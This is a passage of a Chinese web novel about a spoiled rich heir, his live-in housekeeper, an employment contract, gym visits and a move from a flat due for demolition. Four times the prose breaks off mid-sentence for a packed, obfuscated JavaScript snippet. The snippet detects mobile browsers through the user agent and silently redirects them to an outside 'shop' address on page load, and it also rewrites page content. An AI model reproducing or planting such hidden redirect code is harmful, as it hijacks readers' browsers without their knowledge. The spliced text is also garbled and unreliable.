其中,经常来蹭饭的顾承飞和始终心系大哥的许秋泽居功甚伟。 总而言之,江翊驰这一周过得还算舒心。 “今晚我要去我哥那,晚饭你做自己的就好了。”这是江翊和的要求,让江翊驰每周至少要过去一趟,兄弟俩一起吃顿饭,联络一下感情,顺便确认自己这个弟弟有没有闹出什么幺蛾子。 许秋实:“好。” 江家别墅。 江翊和看着脸颊圆润了些的弟弟,面露惊奇地问:“最近是不是胖了?” “怎么可能!”江翊驰像被踩到尾巴的猫,瞬间炸毛,“哪里胖了?” “脸啊,好像圆了一点。”江翊和一边说一边转头向李叔确认,“是吧?” 李叔眼观鼻,鼻观心,一副不想回答的模样。 江翊驰摸摸自己的脸,顿感不妙。 他最近好像是吃得比较多,每顿两大碗米饭不说,有时晚上还要让许秋实给他做宵夜吃,自己每天照镜子看不出来,他哥跟他一周未见,一眼看出区别。 “胖点好看,之前太瘦了。”江翊和给弟弟夹了一块排骨。 胖不胖的先另说,这药膳里炖的排骨怎么一股怪味?江翊驰尝一口就丢到自己面前的骨碟里。 “怎么?又不合胃口?”江翊和问。 “难吃。”江翊驰的一句话,让几个躲在厨房探头观望的厨师心碎一地。 “以前怎么没听你说难吃?”江翊和自己尝了口,还是那个味啊。 “就是难吃啊,都没我家保姆做得好吃。”江翊驰看着满桌的菜失去胃口,心想不如在家吃许秋实做的。 得,小少爷的嘴被养得更刁了。站在一旁的李叔不动声色地抹了一把汗。 “看来你新招的保姆厨艺不错?”江翊和抬了抬眼。 “凑合吧。”江翊驰拿着筷子挑挑拣拣,这也难吃,那也难吃。 身后的厨师们又流下两行宽面条泪,自己精心烹饪的佳肴居然比不上一个厨艺只是“凑合吧”的保姆,还有什么脸在江家拿那么高的工资? “难怪把你喂胖了。” “……”江翊驰难得被他哥噎住,生气地放下筷子,“我不吃了。” 知道弟弟家里有人照顾,江翊和也不勉强,擦了擦嘴,说:“我让郑助理调查过了,你那个保姆身世怪坎坷的,不过人没什么问题,既然做的饭菜合你胃口,看起来也把你照顾得不错,就让郑助理过去跟他正式签订合同吧。” “可以。”江翊驰应了一声,起身让李叔安排司机,他要回去。 “滴”地一声,密码锁开启,客厅亮着灯,却没有人,江翊驰走向传出声响的厨房,看见灶台前熟悉的身影:“你在做什么?” 水烧开的声音让许秋实没注意到有人开门关门,被突然的人声惊了一下,转头才发现江翊驰已经站在自己身后。 “煮点面。”许秋实给江翊驰看了眼手中的袋子。 “之前怎么没见你煮过?” “这是我买来自己吃的,怕你吃不惯。” “我也要吃,你多做点。”江翊驰要求。 “晚饭没吃饱吗?”这个时间应该刚吃完晚饭没多久才对。 “吃不下我哥家的饭,少废话,快点做,我饿了。” “好。” 许秋实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934871|192859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准备做猪油拌面,猪油是用从五花肉上片下来的肥油熬的,平时炒青菜也会加一点增香。 边上放着一个调好底料的汤盆,现在多了一份江翊驰的,他又调了一碗。 葱花、蒜末、辣椒面、白芝麻、一勺生抽、半勺老抽、少许陈醋、一小撮食盐和白糖,再拿个小锅化猪油。 高温下,白色块状的猪油逐渐融化,最后泼在调好的底料上,激发出一阵诱人香气。 江翊驰站在边上,忍不住咽了咽口水。 化过猪油的小锅不急着洗,正好再拿来煎个荷包蛋。 “怎么只有一个?”江翊驰见许秋实煎好一个蛋就把锅放水池里去了。 “你要吃两个吗?”许秋实作势要把锅再拿回来。 “不是,你不吃吗?” “我不用。” 江翊驰闻言,只当许秋实不爱吃蛋。 另一个锅里,面条煮至断生,捞出沥干水分,直接放进调好酱汁的碗里,再加一勺面汤,搅拌均匀,光看卖相就令人食指大动。 味道自然也是没话说的,江翊驰满足地吃下一大碗猪油拌面,突然想起他哥说他变胖的事,心头浮现一丝后悔。 看来得找时间去好好健健身了。 * 第二天一大早,郑助理登门拜访。 “许先生,您好。”郑助理拿出备好的合同,“这是江总交代要和您签订的劳动合同,岗位是我们公司的后勤专员,工作内容是照顾小江总的日常起居,麻烦您过目。” 听到要签合同,许秋实犹豫着翻开合同看了看,上面的条款密密麻麻,字都认得,放一起就看不懂了:“必须签合同吗?” “是这样的,您目前没有挂靠任何家政服务公司,按照相关规定,只有入职我们公司,才能合规为您缴纳五险一金。”郑助理微微颔首,心中笃定,这样的待遇,没有任何拒绝的道理。 许秋实在工地干活从来都只结现金,到酒吧工作也是荀文耀一句话的事,从来没有过这么正式的流程,更不知道五险一金是什么东西。 合同的最后一页已经盖上公司公章,只差一个签名,江翊驰坐在边上,见许秋实接过笔却迟迟没有签下名字,眉头逐渐拧起。 “许先生请放心,合同是正规的,一式两份,签完您自留一份,后续的社保手续,公司会全权办理,您只需要提供一下身份证就行。” 还要身份证?许秋实更不放心了。当初他爸妈跟人合作也签了一堆合同,他对这种事有着近乎本能的抗拒。 “正式工作都要签合同的,你到底要不要这份工作了?”江翊驰双手抱胸,气鼓鼓地看着许秋实,不明白他有什么好犹豫的。 “我能不能好好看看合同再给您答复?”许秋实迟疑地问。 郑助理一愣,很快恢复表情:“当然可以,请问大概需要多久?” “明天吧。” “好的。”郑助理递出一张自己的名片,“上面有我的联系方式,考虑好了随时联系我。” “麻烦您了。”许秋实接过名片,小心收好。 “应该的,您留步。” 将郑助理送至门口,许秋实回到客厅,正对上江翊驰冰冷的目光:“不想干就滚蛋,我又不是非你不可,哼。” 不等许秋实回话,江翊驰转身留下一道愤怒上楼的背影,没一会就听见他把房门摔得震天响。 11. 合同 今天是周六,不用上课,生气的江翊驰在房间待到午饭时间才下来。 许秋实摆好饭菜,戴好一次性手套,站在餐桌边上给江翊驰剥虾壳。 江翊驰吃完一碗饭就放下筷子,剩了不少菜。 “不吃了吗?”许秋实手里的虾剥了一半。 “气都气饱了。”江翊驰轻哼一声。 “再吃点吧,不然一会饿了。”许秋实仔细挑好虾线,将虾肉放进江翊驰碗里。 “饿了你再给我做呗。”江翊驰这么说着,还是把虾吃掉了。 “我下午想出去一趟。” “你要去做什么?”江翊驰顿时警惕起来,不会要跑路吧? “去找阿泽。” “找他干嘛?”江翊驰知道自己这话问得有些无理取闹,人家兄弟俩见个面需要什么理由? “周末了,我去看看他,会在晚饭前回来的。” “你活干完了?” “我收拾好再去。”家里的活实在算不上多,天天都打扫的房子能脏到哪去?再说江翊驰的换洗衣服,全是许秋实手搓的,在他看来,那么两件衣服根本不值当开个洗衣机。 江翊驰没话说了,再次重重放下筷子,噔噔噔地往楼上走。 许秋实收拾好碗筷,解决完剩饭剩菜,给许秋泽打了电话,两人约在洛大的西门见面。 临走前上楼轻轻敲响江翊驰的房门:“老板,我出去了,有事给我打电话。” 江翊驰没理他。 “冰箱里那盘葡萄是洗好的,可以直接吃。” 依旧没有得到回应。 不过许秋实早习惯了江翊驰的小脾气,没一会又自己好了,跟个孩子似的。 * 洛大西门对面是一条商业街,小吃店、奶茶店、服装店一应俱全,一到周末就格外热闹。 许秋实站在街边,面无表情地盯着马路对面的校门口,在一群来来往往进出闸机的学生中寻找熟悉的身影。 挺拔的身姿一动不动,要不是身穿便服,背着个与体型不太相符的双肩包,简直像个在岗执勤的特警。 走出校门的许秋泽隔着马路一眼看见自家大哥,咧着嘴挥挥手,从天桥过来。 得知许秋实找他是帮忙看合同,许秋泽特地拉上自己在校学生会里认识的一个法律专业的朋友,名叫罗清。 三人打过招呼,找了家有位置的奶茶店坐下,一人点了杯奶茶。 许秋实背包里只装了两份合同,主要是为了不把那叠纸弄皱,他取出合同递给面前的两个大学生。 罗清看到合同上的公司名,瞬间瞪大双眼,不可置信地看向许秋泽。 “怎么了?”许秋泽问他。 “江晟集团啊,你不知道吗?”罗清反问。 许秋实和许秋泽兄弟俩面面相觑,动作一致地摇摇头。 “这可是我们洛海市的龙头企业,产业涉及地产、金融、科技好几个板块,每年光是捐出去的钱就有几十亿,上次我们还去他们集团大楼附近发过健身房的传单,你忘啦?”罗清越说越激动,面上甚至浮现一丝憧憬,“我毕业以后要是能进他们公司的法务部,那可真是祖上烧高香了。” 兄弟俩在听见“几十亿”这个词的时候都怀疑自己耳朵出问题了。 罗清说完,飞快地翻到甲方盖章页确认一遍,最后朝许秋实小心措词:“秋泽哥哥,我觉得这合同应该不会有什么问题。” 许秋实似懂非懂地点点头。 话虽这么说,但罗清还是和许秋泽一起逐字逐句认真看了一遍合同。 看到“五险一金全额缴纳”“带薪年假”“年终奖金”几行字,罗清羡慕坏了,恨不得在上面签上自己的大名。 许秋实安静喝着八块钱一杯的奶茶,确实比村头小卖部卖的两块钱一杯的珍珠奶茶好喝多了,见许秋泽和罗清十分专注,他起身去了趟吧台。 看完合同,许秋泽也表示没有问题。 “辛苦你们了。”许秋实收好合同,奶茶店店员提着打包好的八杯奶茶过来。 “先生,您的外带奶茶打包好咯,喝前记得摇一摇,最好在一个小时内饮用哦。” “好,谢谢。”许秋实把奶茶推到许秋泽和罗清面前,“这个你们带回去,跟舍友一起喝。” “这怎么好意思,秋泽哥哥你太破费了。”罗清连连摆手,自己面前那杯还没喝完呢。 “收着吧,都付钱了。”许秋泽拍拍罗清的肩,“总不能让我哥带回去一个人喝八杯吧?” “你说啥呢。”罗清笑着锤了他一下。 见弟弟和朋友关系好,许秋实眼神欣慰。 三人在天桥下分别,许秋实看看时间,才下午两点,转身回到奶茶店又买了一杯,去找荀文耀。 * 家里,躺在床上生闷气的江翊驰拒绝了顾承飞出门的邀约,立刻解锁被电话轰炸的成就。 “都说不去了,别打了。”江翊驰不耐烦地接起电话。 “干嘛?又吃炸药啦?”顾承飞习以为常。 “别烦我。” “我是想问你许哥的试用期通过了没?” “没。” “什么?许哥你还不满意?我看你最近都被他养胖了。”顾承飞的声音拔高八度,显然无法接受这个结果。 “是他不肯签合同,关我什么事?”在江翊驰看来,许秋实拿到合同的那一刻应该激动万分,感激涕零,马上签上大名,谁知道他竟然说要好好看看合同,一定是借口,看合同不能当场看吗? “许哥肯定有他的理由,没事,等会阿泽回来我帮你问问,你别着急。” “我急什么?他爱签不签,还有,你才胖了!”江翊驰挂断电话,心烦气躁,干脆睡了个午觉,结果没睡多久就醒了。 房子里空荡荡的,听不见一点人声,江翊驰从床上起身,那家伙不会真的跑掉不回来了吧? 他下楼想去保姆房看看许秋实的东西还在不在,握上门把手时又迟疑了,虽然房子是他的,可保姆房是许秋实的私人空间,随便进出人家的卧室太没素质了。 不想当没素质的人,于是江翊驰把冰箱里洗好的葡萄端出来,一边吃一边焦躁地刷着手机。 刷着刷着就觉得不对劲,许秋实是走是留,他那么在意干什么?大不了重新找个保姆好了,自己一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934872|192859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始愿意给许秋实机会还不是因为顾承飞一直求他,说起来应该是对方更在意这个工作机会,所以为什么不直接签!合!同! 江翊驰越想越不妙,该不会是在他家干什么坏事心虚了吧?都说知人知面不知心,自己不在家的时候,许秋实到底会做些什么呢? 许久不曾查看的监控派上用场了。 江翊驰打开软件,点进云端自动保存的录像列表,随便点开几个显示有人活动的视频。 许秋实每天的行动轨迹规律得像机器,除了自己房间,就属待在厨房的时间最长。 两人从没有同桌吃过饭,江翊驰一直以为许秋实会在饭菜上桌前留好自己那份,因为每次他吃饭时份量都是刚好的。 结果视频里的男人只给自己留一碗汤,连米饭也没多煮,不是用汤配馒头,就是下面条,偶尔江翊驰吃得少一点,他还会把剩下的饭菜全部解决掉。 江翊驰心头一震,不能理解许秋实是出于怎样的心理。 想私吞买菜钱?可菜是在小区边上的生鲜超市买的,明码标价,许秋实还会把小票保留好,江翊驰虽然懒得看,真想核实不是一件困难的事。 为了装可怜,博同情?自己要是不看监控,根本不会发现,这人到底在想什么? 江翊驰给郑助理打了个电话,没过多久,手机上收到了郑助理发来的一份文档——关于许秋实的个人资料。 父母创业被骗,欠下巨额债务后双双离世,18岁辍学打工,一边偿还债务,一边抚养弟弟,为了挣钱什么苦活累活都干过,才24岁,人生经历已经如此丰富,最难得的是,他不仅自己没走歪路,还把弟弟教得很好。 江翊驰突然对自己刚刚的恶意揣测有了点罪恶感。 下午四点左右,许秋实拎着晚餐的食材打开家门,朝沙发上的江翊驰点点头,一副没事发生的样子去了厨房。 江翊驰立刻跟过去。 “晚上吃红烧肉、凉拌鸡丝和清炒豆芽。”许秋实见他进来,主动报备道。 “你……”江翊驰顿了顿,“做饭从来不做自己的份吗?为什么?” “家里买的米和菜太贵了,我食量大,浪费。”许秋实觉得自己的理由非常充分。 “这什么狗屁理由!再贵的米那也是用来吃的,有什么浪不浪费的?”江翊驰又炸毛了,像许秋实这样的人吃米还叫浪费,那监狱里养着那么多罪犯不是更浪费?干脆别吃饭了,全部喂枪子得了! 不等许秋实回答,江翊驰直接下达指令:“以后我吃什么你吃什么,不准再吃剩饭了。” “都好好的,倒掉太可惜了。”许秋实忙争辩了句。 “那你就跟我一起吃。”江翊驰不假思索地说道,“要是让小飞知道,还以为我虐待你。” “没有虐待。”许秋实情真意切,“老板对我很好了,工资高,住得好,工作又轻松。” “那你为什么不愿意签合同?”江翊驰终于将心中最大的疑问抛出来。 许秋实疑惑:“我没有不愿意。” 见江翊驰的眉尾又有上抬趋势,许秋实忙补充道:“我已经签好了。” 江翊驰:“!” 12. 健身 “所以你是担心合同有问题才不敢签,不是因为不想留下来?”江翊驰总算知道许秋实下午出门的目的,“你想太多了吧?也不看看自己身上有什么值得算计的。” “是没有。”许秋实附和。 江翊驰想到许秋实大概根本没听过“江晟集团”的名号,又觉得可以理解了,开口让他把合同拿来。 签字页上,“许秋实”三个大字写得歪歪扭扭,江翊驰盯着看了半天,没忍住吐出一句:“字好丑。” 许秋实无法反驳,他从小就不爱写字,所有有关写字的作业都敷衍了事,他爸妈说他天生不是读书的料,不像许秋泽,写得一手好字,成绩也是拔尖的。 原本许秋实与郑助理约好的时间是明天,可江翊驰等不了,一通电话又把郑助理召唤过来,让他尽快处理剩下事宜。 半小时后,门铃响起,郑助理面带微笑站在门口,实则很想冲进屋内揪住江翊驰的衣领狠狠摇晃,告诉他再怎么尽快,有些流程也是得等到工作日才能处理! “不好意思郑助理,麻烦您多跑一趟。”许秋实把合同递过去。 “别在意,方便把您的身份证一起给我吗?”同为打工人,郑助理对许秋实的态度还算友好。 “好,稍等。”许秋实又去拿来身份证。 郑助理借机从身后打量了一番许秋实。 当初江翊驰找保姆有明确的四不要:长得丑的不要,声音难听的不要,话多的不要,年纪大的不要。 眼前这个男人确实是完美符合了小少爷的四条标准。 拿到许秋实的身份证,郑助理火速离去,他还要回家继续享受自己的周末假期呢。 * 解决完合同的事,江翊驰的心情彻底舒畅,不等许秋实摆好饭菜就已入座,不忘提醒许秋实给自己备一份碗筷。 虽是第一次和江翊驰同桌吃饭,但许秋实每天收拾餐桌也能看出他吃饭的一些小习惯。 关于调味料,香菜和芹菜是江翊驰绝对不能接受的,一点味道都不能有的那种,葱、蒜、蒜叶属于能接受味道,吃不吃得看心情,姜、花椒是只能接受味道,不能入口,看到就得挑出来。 许秋泽小时候也有过挑食的阶段,许秋实觉得人活一遭,合该过得舒坦点,没必要去适应自己不爱吃的东西。 所以他做饭一直按照江翊驰的口味进行调整。比如会炸一些葱油、蒜头油、花椒油来取代原本要放的调味品,再比如不切姜末,需要放姜提味的菜里,都会把姜切丝切片,方便挑拣。 眼下同坐一桌,许秋实完全以伺候小少爷用餐为主要任务,红烧肉里太肥的部分夹走,凉拌鸡丝里的花椒和姜丝、清炒豆芽里的切段蒜苗全部挑干净,眼见小少爷吃得高兴,饭碗见底,立即起身给他添了一碗饭。 江翊驰舒舒服服地吃完饭,起身时只觉肚子撑得慌,他低头捏了捏自己腰侧,以往流畅的腰线如今竟能揪起一层软肉。 今天顾承飞在电话里说他胖的那句话在耳边不断回响,他是真的胖了!江翊驰连忙去称体重,看见电子屏幕上显示的数字,顿时如遭雷击。 许秋实收拾完厨房,将抹布晾在洗手池边上,回到客厅看江翊驰站在墙角低着头不知在干嘛,试探性地叫了声:“老板?” 江翊驰转头朝他严肃道:“晚上跟我一起去健身房。” “健身房?”许秋实下意识看了眼自己的身体。 “对,就在我们小区,反正闲着也是闲着,你陪我去,我、要、减、肥!”江翊驰郑重说出最后四个字。 许秋实惊讶地看向他:“你这么瘦减什么肥?” “这一个星期我胖了五斤!”江翊驰伸出一只手,张开五指,“整整五斤!” “看不出来,不要减肥,减肥伤身。”许秋实不赞成地劝阻,在他眼里,江翊驰再胖个十斤都不算多,明明跟自己一样高,体型却比自己瘦一圈,这样还要减肥,他十分不理解。 “你天天跟我在一块,当然看不出来。” “真的不胖,现在的样子很帅很好看。”许秋实目光真诚,说话也直白。 江翊驰被他夸得一愣,嘴角止不住地向上扬,但仍没有打消去健身的念头:“那我不减肥了,去锻炼身体总行吧?” 听到这话,许秋实表示赞同:“锻炼身体可以,比天天坐在家里强。” “先下楼消消食吧。”江翊驰率先走到玄关换鞋,许秋实紧随其后。 十月中旬的天气不似八月炎热,眼下太阳刚刚西落,天上晚霞像水墨般肆意铺开,两人并肩走在小区的步道上,偶尔一阵晚风拂过,带来清爽的凉意。 散了差不多半个钟头的步,江翊驰才带着许秋实往小区健身房走。 小区业主是可以免费在健身房锻炼的,不过也有收费的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934873|192859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 私教课,全看个人选择。 江翊驰没有耐心听前台的详细介绍,直接办了张最贵的年卡。 填好会员资料,江翊驰转头去找许秋实,身穿短袖短裤的男人站在不远处,正好奇打量各种健身器材。 贴身的布料勾勒出他常年干活练成的身形,肩膀宽阔,腰腹紧实,手臂肌肉线条流畅,腿部肌肉更是充满爆发力,从头到脚透着股浑然天成的力量感。 这是大部分男人都在追求的强健体魄,极具视觉冲击力。 江翊驰从短暂的愣神中清醒,再一看健身房里的其他人,全在有意无意地打量着许秋实,心中顿时浮现一丝莫名的不悦。 对健身一窍不通的许秋实想找个角落的位置坐下,身后突然传来一道清脆的女声:“教练,我不会调那个高位下拉器的档位,你可以来帮我一下吗?” 许秋实回头,看见一个扎着高马尾、身穿运动内衣的漂亮姑娘站在面前,脸色不太自然地转开视线:“我不是教练,我也不会。” “啊?”女孩眼里满是不信:“不会吧?你这身材怎么可能不是教练呀?” “真不是,我第一次来。”许秋实耐心解释。 “这样啊,不好意思我认错人了,你也是这个小区的吗?哪一户的呀?以后有空可以约着一起来健身。”女孩露出个充满活力的笑容,大方邀请。 不等许秋实拒绝,江翊驰已经走到他身侧,伸手搭上他的肩:“他有朋友一起,你还是约别人吧。” 女孩见状有些遗憾,不再坚持,识趣地走开。 “弄好了吗?”许秋实转头问。 “好了。”江翊驰收回手,指尖划过许秋实肩头的肌肉,“你不会怪我挡了你的桃花吧?” “别乱说,人家只是认错了。”许秋实皱皱眉。 “只有你这傻大个会信。”江翊驰低声说了句。 “你说什么?”许秋实没听清。 “没什么,你要跟我一起练还是在边上等我?” “等你吧。” 江翊驰目光下移,看到许秋实壮硕的胸肌,也是,这人再练下去得壮成什么样? “那你找个地方坐吧,有人跟你搭讪别随便搭理,知道吗?” “知道。” 江翊驰在教练的指示下往跑步机的方向走去,不放心地回头看了眼许秋实,将微微发烫的指尖握进拳心。 13. 搬家 江翊驰办的健身年卡送了张副卡,他转手送给许秋实,要许秋实没事就陪自己一起去。 许秋实没想到小少爷看着娇气,居然能坚持每天去健身,非常执着地想将自己身上的软肉全部转化为肌肉。 被正式录用的许秋实每月基本工资八千,菜钱另给,每周一休,法定节假日正常放假,如果小少爷有需求,他留下照顾可以领三倍工资,试用期的工资也按转正后的算,直接打到他的银行卡上。 他现在每月最大的支出就是自己的房租,虽然一个月只住四天,总归是自己的地盘,最重要的是能跟许秋泽相聚,给他做点好吃的加加餐,所以许秋实并不打算退租。 但天不遂人愿,许秋实没想退租,房东却先一步发来通知,他们小区要拆迁了,所有租户都被勒令搬离。 这消息一出,对小区的所有租户而言无异于晴天霹雳,整栋楼被愁云笼罩。 酒吧的几个员工最近也在忙着找房子,许秋实跟他们情况不一样,一时有些烦恼。 “按理说你工资那么高,完全能租个好点的房子,可是你一个月才住四天,又有点浪费。”酒吧里,荀文耀给许秋实倒了一杯水,精准指出他的纠结之处。 “是啊。”许秋实喝了口水,才住四天,要为此特地去租新房子,总觉得不值当。 “要不,你住我那吧?”荀文耀突然提议。 “什么?”许秋实抬眼看他,似乎没听清他说的话。 “我说你干脆住我家吧,反正你一个月才住四天,没事给我做做饭打扫一下卫生,不收你房租。”荀文耀双手托腮,越说越觉得可行,“不过这样你就没有休息日了。” “这怎么行?”许秋实不在乎休不休息的,只是在听到不用给房租时下意识地出言反对。 “怎么不行?其实我之前一直是跟人合租的,这两年才开始自己住,说实话,我挺怀念有舍友的日子呢。” “小赵和阿恒……”许秋实想说合租的话,像小赵和阿恒这样的酒吧老员工明显比他更合适。 “我又不是真要跟人合租,只是觉得像你这样一周住一天的舍友刚刚好,重点是你会做饭呀,偶尔也给我加加餐,不要只疼阿泽一个人嘛。”荀文耀笑咪咪地说。 “太麻烦你了。”许秋实还是摇头,自从来到洛海市,荀文耀一直在帮他,欠下的人情越来越多。 “你怎么又说这种话?都是自己人,别老说什么麻不麻烦的,还是你根本没把我当自己人啊?总是这么客气,真令人心寒呐。”荀文耀叹了口气,犹自伤感,“你天天喊我文耀哥,我是真心把你和阿泽当弟弟看的。” “我不是那个意思……”许秋实有些慌乱地摆着手。 “那你就当每周来陪我一天好了,如果后面找到更合适的地方,随时可以搬走。” 许秋实:“可……” “就这么定啦!我这两天把家里的房间收拾出来。”荀文耀拍了下手,“到时候叫上阿泽,我们每周在家里开一次火,跟家庭聚餐一样,多有意思啊。” “文耀哥,房租要算的。”这是许秋实最后的坚持。 “那我是不是得给你保姆的费用?” “不用。” “你想给房租的话,那我也得给你辛苦费,你现在的日薪高达三百块,我房租一个月才两千五,折算下来一天不到一百块,这么算我还得倒给你两百块呢。”荀文耀掰着指头给许秋实算钱。 “不行,不能这么算。”许秋实反对得十分坚决。 “所以这样争下去是没有结果的,咱们各退一步,不要算钱了。” 许秋实:“……” 两天后,许秋实接到荀文耀的电话,告诉他房间已经腾出来了,欢迎随时入住。 漏音严重的手机讲电话时犹如开了免提,江翊驰将荀文耀的声音听得清清楚楚,在许秋实挂断电话后转头问他:“你要搬家啊?” “嗯,出租屋要拆迁,文耀哥让我暂时住他那。” “你可以住这里啊。”江翊驰状似随意地说,心想许秋实是他的保姆,本来就应该住在他家。 “已经跟文耀哥说好了。”许秋实没把江翊驰的话当真,要不是给江翊驰当保姆,他这辈子都不可能住上这样的房子,放假还赖着不走也太没脸没皮了。 见许秋实对自己的提议毫无反应,江翊驰心头发堵,不想理他,又忍不住要跟他说话:“那你什么时候搬家?” “周天吧。”正好是他的休息日。 “哦。”江翊驰应了一声,不知在想些什么。 * 周日,江翊驰难得没有睡懒觉,起来和许秋实一起吃了早饭。 许秋实收拾好厨房准备出门,就见江翊驰跟在自己身后等着换鞋。 许秋实问:“要出去吗?” 江翊驰点点头:“我跟你一起去。” 许秋实显然没想到小少爷在打这主意:“那边地方小,你待不惯的。” “反正我也很无聊,当去瞧个热闹了,我还没见过你的出租屋长什么样呢。” “……”许秋实对于小少爷多余的好奇心表示不理解,但尊重。 江翊驰提前约好了司机小张,许秋实第一次坐上他的专属座驾,光看车内装潢就知道这车价值不菲。 越临近目的地,能开的路越狭窄,极其考验司机的车技。 小张捏着一把汗将车停在混乱的路边,目送小少爷和他的保姆往那条看起来布满灰尘的巷子里走。 江翊驰穿着短袖连帽衫配牛仔长裤,胸前挂了副古驰的墨镜,脚上是一双红白配色的AJ球鞋,简单的穿搭却无法掩盖他优越的气质,与即将拆迁的破旧小区格格不入。 虽然他已经做好心理准备,真的看见许秋实租住的小区后,眉头紧得能夹死蚊子。 小少爷一路上发出最多的感叹便是:“这破地方也能住人?” 许秋实就这么被他开除了人籍。 等看见许秋实那间媲美棺材房的出租屋,终于忍不住问他:“你到底是怎么在这样的环境下居住的?还没我家狗住的房子大。” “你家养狗?”许秋实很好地抓住重点。 “对啊,养在本家的,我想带过来,我爷爷不让。”江翊驰遗憾道,因为他哥不喜欢狗,他又非要自己住,家里人根本不相信他能照顾好狗。 “你在这等我会,我马上收拾好。” “嗯。”不用许秋实说,江翊驰也没有进屋的打算,那磨损严重的地板看着脏兮兮的,根本没地落脚。 许秋实家当不多,先收拾好衣服被子和锅碗瓢盆,再整理其他杂物,做饭的电器大多是荀文耀的,正好给他带回去。 江翊驰站在门口看到地上叠放在一起的脸盆和水桶,觉得盆里的花纹有些眼熟,一时想不起来在哪见过。 许秋实见他好像对自己的盆和桶很好奇,解释道:“这是阿泽军训后带回来的,说同学不要了,丢掉可惜。” 江翊驰想起来了,那不是自己军训时买来洗衣服的吗?军训最后一天他本打算直接丢掉的,许秋泽看见后巴巴地跑来问自己他能不能带走,没想到是带回来给许秋实的。 这怎么不算是一种缘分呢?江翊驰的心情莫名变好了点,连带着看许秋实拿出一个蛇皮袋装东西也没嫌弃。 不得不说,大号蛇皮袋真的很能装。 江翊驰眼看着许秋实把各种杂物往里塞,连电风扇都装进去了! 最后许秋实背上一个包,左手蛇皮袋,右手拎着顾承飞买的折叠桌,准备下楼。 走到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934874|192859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五楼时,一阵吵闹声传来,两人闻声望去,楼道里站满了人,全是这栋楼的租客,被围在中间的两人许秋实正好都认识,一个是房东,一个是另一家酒吧的调酒师阿布,两人因为押金的事爆发矛盾,眼看着就要动手。 许秋实眉头一皱,放下手里的东西,挤开人群,向争吵的源头走去。 互相推搡的两人被一双有力的大手拉开,许秋实往两人中间一站,沉声道:“有话好好说,别动手。” 看清来人,阿布像是抓住了救命稻草,握紧许秋实的胳膊:“许哥你来评评理,我跟他说好的续租半年,现在要我提前搬走就算了,他还想扣我押金,哪有这样的道理?” “我们的合同可早到期了,你没签合同说什么续租?再说了,拆迁是上面下达的通知,别说没签合同,签了的也得搬,扣你押金是因为房子损坏严重,没让你赔钱就不错了!”房东双手叉腰,理直气壮地叫喊。 阿布当即指着房东的鼻子怒骂:“你要不要脸啊?你那房子本来就是破的,我还自费换过灯泡呢,你怎么不给我报销?” “你弄坏的当然是你换!” “你放什么狗屁?明明是你用劣质产品!” 两人的争辩再次进入白热化,不知什么时候跟过来的江翊驰站在许秋实身边,问他:“你签合同了吗?” “签了半年。”许秋实答,房东倒是没为难他,把后面几个月的租金和押金一起退给他了,只要求他在期限内搬走。 “没给你违约金?”江翊驰又问。 “你他妈谁啊?关你什么事?”听到“违约金”三个字,房东恼羞成怒地对江翊驰叫道。 许秋实听到江翊驰被骂,看向房东的眼神瞬间变得凌厉起来,反倒是江翊驰不在意地拍拍他的肩,好整以暇地开口:“先不说违约金的事,大叔,你出租的是隔断房吧?” 房东面色骤变,嘴硬道:“什么隔断房?我这是正常装修。” “正常装修会用石膏板隔出那么多小房间?你的装修品味挺独特啊。”江翊驰举起手机,“根据相关规定,出租住房时应当以原设计的房间为最小出租单位,不得进行分割搭建后出租,你这房子属于违规出租。” 房东租了这么多年房子,租客大多是没什么文化的打工人,根本不懂法,此刻江翊驰只是随便读一段从网上搜到的资料,便将他唬得额头冒汗。 “而且根据《合同法》,当事人一方不履行合同义务或者履行不符合约定的,应当承担继续履行、采取补救措施或者赔偿损失等违约责任。”江翊驰将目光从手机屏幕上转到房东那张写满心虚的脸上,“你以拆迁为由提前解约,属于违约行为,必须支付违约金。” “你说支付就支付啊?你算哪根葱!”房东还在色厉内荏。 